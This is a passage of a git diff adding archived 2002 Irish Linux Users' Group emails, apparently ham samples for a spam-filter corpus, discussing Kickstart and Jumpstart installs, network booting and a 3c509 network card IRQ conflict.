at work, if we want a new workstation, we just +> > buy whatever Sun's latest system is, we jumpstart it, and +> > that's it, it's up and running. + +sorry, i missed this. redhat supplies something similar called kickstart +(guess who inspired them?). pc hardware is dumb, so you'll need to use +a floppy. otoh, every jumpstart config i've seen required rarp plus +plugging the new box's ethernet+ip into a file. a kickstart boot can +just use a dhcp server. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00265.ba7a5ceb6bf11bd9123f739a36004e40 b/bayes/spamham/easy_ham_2/00265.ba7a5ceb6bf11bd9123f739a36004e40 new file mode 100644 index 0000000..c5edd44 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00265.ba7a5ceb6bf11bd9123f739a36004e40 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4E84D44143 + for ; Tue, 6 Aug 2002 08:48:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76CQbk28239 for + ; Tue, 6 Aug 2002 13:26:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA28873; Tue, 6 Aug 2002 13:24:38 +0100 +Received: from puma.dub0.ie.cp.net ([62.17.137.250]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA28836 for ; Tue, + 6 Aug 2002 13:24:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.137.250] claimed to + be puma.dub0.ie.cp.net +Received: from AHOLM.elivefree.net (10.40.2.248) by puma.dub0.ie.cp.net + (6.7.009) id 3D4AB188000020E5 for ilug@linux.ie; Tue, 6 Aug 2002 13:23:57 + +0100 +Message-Id: <5.1.1.6.0.20020806131829.03c2ae30@mail.elivefree.net> +X-Sender: anders.holm@mail.elivefree.net +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +Date: Tue, 06 Aug 2002 13:22:07 +0100 +To: ilug@linux.ie, ilug@linux.ie +From: Anders Holm +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +In-Reply-To: <20020806120656.GP14040@jinny.ie> +References: <20020806125617.F17211@ie.suberic.net> + <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> + <20020806125617.F17211@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +At 13:06 06/08/2002, John P. Looney wrote: +>[snip] +> There is a nice need 'add_install_client' script that you feed the +>archtecture, ethernet address & ip to, and it'll setup everything from +>RARP to Bootparams for you. Very simple. + +Yep, very handy and easy enough. + +> This script takes a -d option, to boot via DHCP also. On the negative +>side, Sun's terminal handling leaves a lot to be desired - it won't work +>properly on a Wyse 120+ for instance, no matter what emulation mode the +>Wyse is trying to do. + +True, SUN's terminal handling isn't the best in the world. + +> To do PC netbooting properly, you need an motherbard with a PXE BIOS. +>Then you are flying. + +OR a network card with a BootRom installed, and BIOS support to boot of the +network. + +> Heh, how hard would it be to get a PC with an OpenBoot prom ? + +You could burn a PROM yourself, if you'd wish. I believe that the netboot +project would have a PROM you could download and burn, having the needed +h/w of course.. ;) + +//Anders// + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00266.d3cb4ee5c02b96f0edac346785b7c5f3 b/bayes/spamham/easy_ham_2/00266.d3cb4ee5c02b96f0edac346785b7c5f3 new file mode 100644 index 0000000..80940b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00266.d3cb4ee5c02b96f0edac346785b7c5f3 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 08842441C3 + for ; Tue, 6 Aug 2002 08:48:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76CX2k28505 for + ; Tue, 6 Aug 2002 13:33:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29516; Tue, 6 Aug 2002 13:30:26 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29487 for ; Tue, + 6 Aug 2002 13:30:20 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id NAA30585 for ; Tue, + 6 Aug 2002 13:29:50 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g76CUNU12597 for ilug@linux.ie; Tue, 6 Aug 2002 13:30:23 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 6 Aug 2002 13:30:23 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Message-Id: <20020806123023.GQ14040@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020806125617.F17211@ie.suberic.net> + <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> + <20020806125617.F17211@ie.suberic.net> + <5.1.1.6.0.20020806131829.03c2ae30@mail.elivefree.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <5.1.1.6.0.20020806131829.03c2ae30@mail.elivefree.net> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 06, 2002 at 01:22:07PM +0100, Anders Holm mentioned: +> > Heh, how hard would it be to get a PC with an OpenBoot prom ? +> +> You could burn a PROM yourself, if you'd wish. I believe that the netboot +> project would have a PROM you could download and burn, having the needed +> h/w of course.. ;) + + But the PROMs are for specific network cards, and all their are really is +a bootp/tftp client. Not the whole set of nice bits & pieces you get with +an OpenBoot PROM. + + AMD were talking of supporting it ages back, when the Athlon was looking +like it would just be on workstations from day one. They seemed to drop +it, and go for the crappy MSDOS compatible BIOS though. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00267.12507328e1049b1fa5c7c139b7cc61fa b/bayes/spamham/easy_ham_2/00267.12507328e1049b1fa5c7c139b7cc61fa new file mode 100644 index 0000000..e2a094e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00267.12507328e1049b1fa5c7c139b7cc61fa @@ -0,0 +1,98 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2649144144 + for ; Tue, 6 Aug 2002 08:48:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76CRnk28327 for + ; Tue, 6 Aug 2002 13:27:49 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29071; Tue, 6 Aug 2002 13:25:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from pheriche.sun.com (pheriche.sun.com [192.18.98.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA29001 for ; + Tue, 6 Aug 2002 13:25:47 +0100 +Received: from sunire.Ireland.Sun.COM ([129.156.220.30]) by + pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA19309 for + ; Tue, 6 Aug 2002 06:25:44 -0600 (MDT) +Received: from sionnach.ireland.sun.com (sionnach [129.156.220.28]) by + sunire.Ireland.Sun.COM (8.11.6+Sun/8.11.6/ENSMAIL,v2.2) with ESMTP id + g76CPhl03964 for ; Tue, 6 Aug 2002 13:25:43 +0100 (BST) +Received: from sionnach (localhost [127.0.0.1]) by + sionnach.ireland.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g76CPhfE009471 + for ; Tue, 6 Aug 2002 13:25:43 +0100 (BST) +Message-Id: <200208061225.g76CPhfE009471@sionnach.ireland.sun.com> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: ilug@linux.ie +From: Albert White - SUN Ireland +Subject: Re: [ILUG] 3c509 & 2.4.19 problems - SUMMARY +In-Reply-To: Message from Albert White of + "Sun, 04 Aug 2002 13:14:27 BST." + <20020804121426.GA92548@orca.ucd.ie> +Date: Tue, 06 Aug 2002 13:25:43 +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +Thanks for the replies. It turns out that it was an IRQ conflict with an old +sound card. + +Despite checking the BIOS and running the 3c509 setup utility on +http://www.scyld.com/diag, the 2.4 kernel still picked a card on IRQ 5 and 10. + +It works fine now that the sound card is removed, but I'm still confused as to +why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... + +Thanks again, + +Cheers, +~Al + +Original question: +> Hi folks, +> +> I decided to upgrade the kernel on a machine at home from 2.2.18pre21 to the latest from kernel.org which is 2.4.19. +> +> However I have encountered one problem, my network card now dosent work, well kind of dosent work... +> +> Instead of one eth0 on IRQ 10 I now get: +> Aug 4 11:31:51 mira kernel: eth0: 3c5x9 at 0x220, 10baseT port, address 00 10 5a 3e 0e 48, IRQ 5. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> Aug 4 11:31:51 mira kernel: eth1: 3c5x9 at 0x300, 10baseT port, address 00 10 5a be 0e 48, IRQ 10. +> Aug 4 11:31:51 mira kernel: 3c509.c:1.18 12Mar2001 becker@scyld.com +> Aug 4 11:31:51 mira kernel: http://www.scyld.com/network/3c509.html +> +> This results in the interface(s) coming up but while packets can go out they can not come in. +> +> I've tried not loading the 3c509 mdule on bootup and then `modload 3c509 IRQ=10` bit it still gets loaded as above, on IRQ 5 and 10. On 2.2 it loads to IRQ 10. +> +> Anyone got any suggestions on what to do here? Its a debian 3.0 distro. This works fine when booted to 2.2 so the hardware/BIOS etc seem ok, so it seems to be 2.4 spacific. Have I missed some kernel setting? +> +> Cheers, +> ~Al + +-- +Expressed in this posting are my opinions. They are in no way related +to opinions held by my employer, Sun Microsystems. +Statements on Sun products included here are not gospel and may +be fiction rather than truth. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00268.b9c5022544ced77b38a7f231e42b04f6 b/bayes/spamham/easy_ham_2/00268.b9c5022544ced77b38a7f231e42b04f6 new file mode 100644 index 0000000..11a3e93 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00268.b9c5022544ced77b38a7f231e42b04f6 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3E758441C5 + for ; Tue, 6 Aug 2002 08:48:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Cngk29521 for + ; Tue, 6 Aug 2002 13:49:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA30338; Tue, 6 Aug 2002 13:47:09 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA30307 for ; Tue, + 6 Aug 2002 13:47:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 6 Aug 2002 14:03:08 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B0924722A@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] 3c509 & 2.4.19 problems - SUMMARY +Date: Tue, 6 Aug 2002 14:03:07 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> It works fine now that the sound card is removed, but I'm still confused +> as to +> why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... +> +> Thanks again, +> +> Cheers, +> ~Al +Strange. + +I had the double IRQ problem with the 3c509 combo, +and turning pnp off in the card's firware fixed it. + +As far as I remember the problem I was having was +that the driver was assigning an IRQ to the card's + RJ45 port and then another IRQ to it's BNC port, + and then referenced the card via the second assigned irq, + and turning off PnP in the card's firmware fixed that. + +You must be having a different error +Else +PnP is still turned on. +<> +Making sure the IRQ and io space you assign +the card in it's firmware is not in use by +any other ISA devices. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00269.5e79c797bc756cc555e6877c5fbefc04 b/bayes/spamham/easy_ham_2/00269.5e79c797bc756cc555e6877c5fbefc04 new file mode 100644 index 0000000..a05d1c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00269.5e79c797bc756cc555e6877c5fbefc04 @@ -0,0 +1,88 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AFAA1441C4 + for ; Tue, 6 Aug 2002 08:48:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Cfrk28984 for + ; Tue, 6 Aug 2002 13:41:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29893; Tue, 6 Aug 2002 13:39:13 +0100 +Received: from puma.dub0.ie.cp.net ([62.17.137.250]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA29864 for ; Tue, + 6 Aug 2002 13:39:05 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.137.250] claimed to + be puma.dub0.ie.cp.net +Received: from AHOLM.elivefree.net (10.40.2.248) by puma.dub0.ie.cp.net + (6.7.009) id 3D4AB18800002158 for ilug@linux.ie; Tue, 6 Aug 2002 13:38:35 + +0100 +Message-Id: <5.1.1.6.0.20020806133046.026b8b88@mail.elivefree.net> +X-Sender: anders.holm@mail.elivefree.net +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +Date: Tue, 06 Aug 2002 13:36:44 +0100 +To: ilug@linux.ie, ilug@linux.ie +From: Anders Holm +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +In-Reply-To: <20020806123023.GQ14040@jinny.ie> +References: <5.1.1.6.0.20020806131829.03c2ae30@mail.elivefree.net> + <20020806125617.F17211@ie.suberic.net> + <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> + <20020806125617.F17211@ie.suberic.net> + <5.1.1.6.0.20020806131829.03c2ae30@mail.elivefree.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +At 13:30 06/08/2002, John P. Looney wrote: +>On Tue, Aug 06, 2002 at 01:22:07PM +0100, Anders Holm mentioned: +> > > Heh, how hard would it be to get a PC with an OpenBoot prom ? +> > +> > You could burn a PROM yourself, if you'd wish. I believe that the netboot +> > project would have a PROM you could download and burn, having the needed +> > h/w of course.. ;) +> +> But the PROMs are for specific network cards, and all their are really is +>a bootp/tftp client. Not the whole set of nice bits & pieces you get with +>an OpenBoot PROM. + +True, but would still enable you to do a network install without using boot +floppies. Then again, boot floppies are cheaper, and easier to recreate +when you'd like to do some changes to it. Gets messier when you'd have a +boot image on a server, and the only way you can test it is to boot it over +the network. In any case, it's just one option available. + +> AMD were talking of supporting it ages back, when the Athlon was looking +>like it would just be on workstations from day one. They seemed to drop +>it, and go for the crappy MSDOS compatible BIOS though. + +Too bad they didn't go with that then. Would have been so much nicer than +the old MSDOS crap. I do like the OpenBoot idea actually. Especially being +able to set the PROM to boot from whatever disk slice you'd want. No need +to set that in lilo/grub any more in that case, since the OpenBoot rom +takes care of that part for you. Then again, you wouldn't get a menu that +allows you to choose what you want to boot. There's good and bad, all +depending on what you want to do, I suppose. Sitting here and typing I'm +realising that it is both a nice thing, and a nasty thing.. + +Ah well, life sucks as well, some say.. ;) + +//Anders// + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00270.a19a99f7377bfdd22784a5335fb78d70 b/bayes/spamham/easy_ham_2/00270.a19a99f7377bfdd22784a5335fb78d70 new file mode 100644 index 0000000..49bb1d4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00270.a19a99f7377bfdd22784a5335fb78d70 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Tue Aug 6 14:04:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E15A544162 + for ; Tue, 6 Aug 2002 08:58:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:58:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Cstk29751 for + ; Tue, 6 Aug 2002 13:54:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA30728; Tue, 6 Aug 2002 13:52:58 +0100 +Received: from corvil.com (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA30693 + for ; Tue, 6 Aug 2002 13:52:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com (8.12.5/8.12.5) with ESMTP id g76CqlRx035405; Tue, + 6 Aug 2002 13:52:48 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D4FC697.4010600@corvil.com> +Date: Tue, 06 Aug 2002 13:52:39 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Albert White - SUN Ireland +Cc: ilug@linux.ie +Subject: Re: [ILUG] 3c509 & 2.4.19 problems - SUMMARY +References: <200208061225.g76CPhfE009471@sionnach.ireland.sun.com> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Albert White - SUN Ireland wrote: +> Hi, +> +> Thanks for the replies. It turns out that it was an IRQ conflict with an old +> sound card. +> +> Despite checking the BIOS and running the 3c509 setup utility on +> http://www.scyld.com/diag, the 2.4 kernel still picked a card on IRQ 5 and 10. +> +> It works fine now that the sound card is removed, but I'm still confused as to +> why this worked in 2.2.18 but not 2.4.19, seems like a regression to me... + +I'm jumping in here since I'm just back on +ILUG after quite a long break, anyway... + +Alan Cox was mentioning that he might have borked +some PNP stuff lately. You could try 2.4.19-ac4 +to see if it helps. + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00271.67be0415b3bede539adec20823ddda61 b/bayes/spamham/easy_ham_2/00271.67be0415b3bede539adec20823ddda61 new file mode 100644 index 0000000..399854b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00271.67be0415b3bede539adec20823ddda61 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 6 14:11:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0D6A0440CD + for ; Tue, 6 Aug 2002 09:10:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:10:47 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76D7ck30705 for + ; Tue, 6 Aug 2002 14:07:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA31245; Tue, 6 Aug 2002 14:04:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie + [134.226.81.11]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id OAA31211 + for ; Tue, 6 Aug 2002 14:04:12 +0100 +Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id + ; 6 Aug 2002 14:04:11 +0100 (BST) +To: ilug@linux.ie +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +X-It'S: all good +X-Wigglefluff: fuddtastic +X-Zippy: I want EARS! I want two ROUND BLACK EARS to make me feel warm 'n + secure!! WHOA!! Ken and Barbie are having TOO MUCH FUN!! It must be the + NEGATIVE IONS!! +In-Reply-To: Your message of + "Tue, 06 Aug 2002 12:56:17 BST." + <20020806125617.F17211@ie.suberic.net> +Date: Tue, 06 Aug 2002 14:04:11 +0100 +From: Niall Brady +Message-Id: <200208061404.aa38271@salmon.maths.tcd.ie> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, 06 Aug 2002 12:56:17 BST, kevin lyda said: +> +>sorry, i missed this. redhat supplies something similar called kickstart +>(guess who inspired them?). pc hardware is dumb, so you'll need to use +>a floppy. otoh, every jumpstart config i've seen required rarp plus +>plugging the new box's ethernet+ip into a file. a kickstart boot can +>just use a dhcp server. + +Aye, but it'll still need a /boot/kickstart/$VER/$IP-kickstart won't it +to proceed automatically? [or am I completely off track there?] + +-- + Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00272.d2daf940e50638774ca629aa11ab95a2 b/bayes/spamham/easy_ham_2/00272.d2daf940e50638774ca629aa11ab95a2 new file mode 100644 index 0000000..b40c9cc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00272.d2daf940e50638774ca629aa11ab95a2 @@ -0,0 +1,110 @@ +From ilug-admin@linux.ie Tue Aug 6 14:11:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 78674440FB + for ; Tue, 6 Aug 2002 09:10:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 14:10:49 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76DCik30928 for + ; Tue, 6 Aug 2002 14:12:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA31684; Tue, 6 Aug 2002 14:10:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA31655 for + ; Tue, 6 Aug 2002 14:10:40 +0100 +Received: from sunire.Ireland.Sun.COM ([129.156.220.30]) by + nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA23883 for + ; Tue, 6 Aug 2002 06:10:04 -0700 (PDT) +Received: from sionnach.ireland.sun.com (sionnach [129.156.220.28]) by + sunire.Ireland.Sun.COM (8.11.6+Sun/8.11.6/ENSMAIL,v2.2) with ESMTP id + g76DA3l06802 for ; Tue, 6 Aug 2002 14:10:03 +0100 (BST) +Received: from sionnach (localhost [127.0.0.1]) by + sionnach.ireland.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g76DA3fE009664 + for ; Tue, 6 Aug 2002 14:10:03 +0100 (BST) +Message-Id: <200208061310.g76DA3fE009664@sionnach.ireland.sun.com> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: ilug@linux.ie +From: Albert White - SUN Ireland +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +In-Reply-To: Message from + "Matthew French" + of + "Tue, 06 Aug 2002 09:46:27 BST." + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> +Date: Tue, 06 Aug 2002 14:10:03 +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +Matthew French: +> Declan Houlihan mentioned: +> > We're actually investigating switching from Sparc/Solaris to +> > Intel/Linux. +Boo hisss *duck* :) + +> Well, why not try Linux on Sparc. +> +> And you get a working version of your favourite KDE/Gnome desktop instead of +> DTE, uhm, I mean CDE. +um.. http://wwws.sun.com/software/star/gnome/ integrated into solaris. + +Of course then there's http://wwws.sun.com/software/solaris/freeware/ for +solaris 9 which gives you afterstep and windowmaker among other stuff. My +personal favourite at the moment is enlightenment which also has Solaris +packages available for download. + +> > Basically the whole 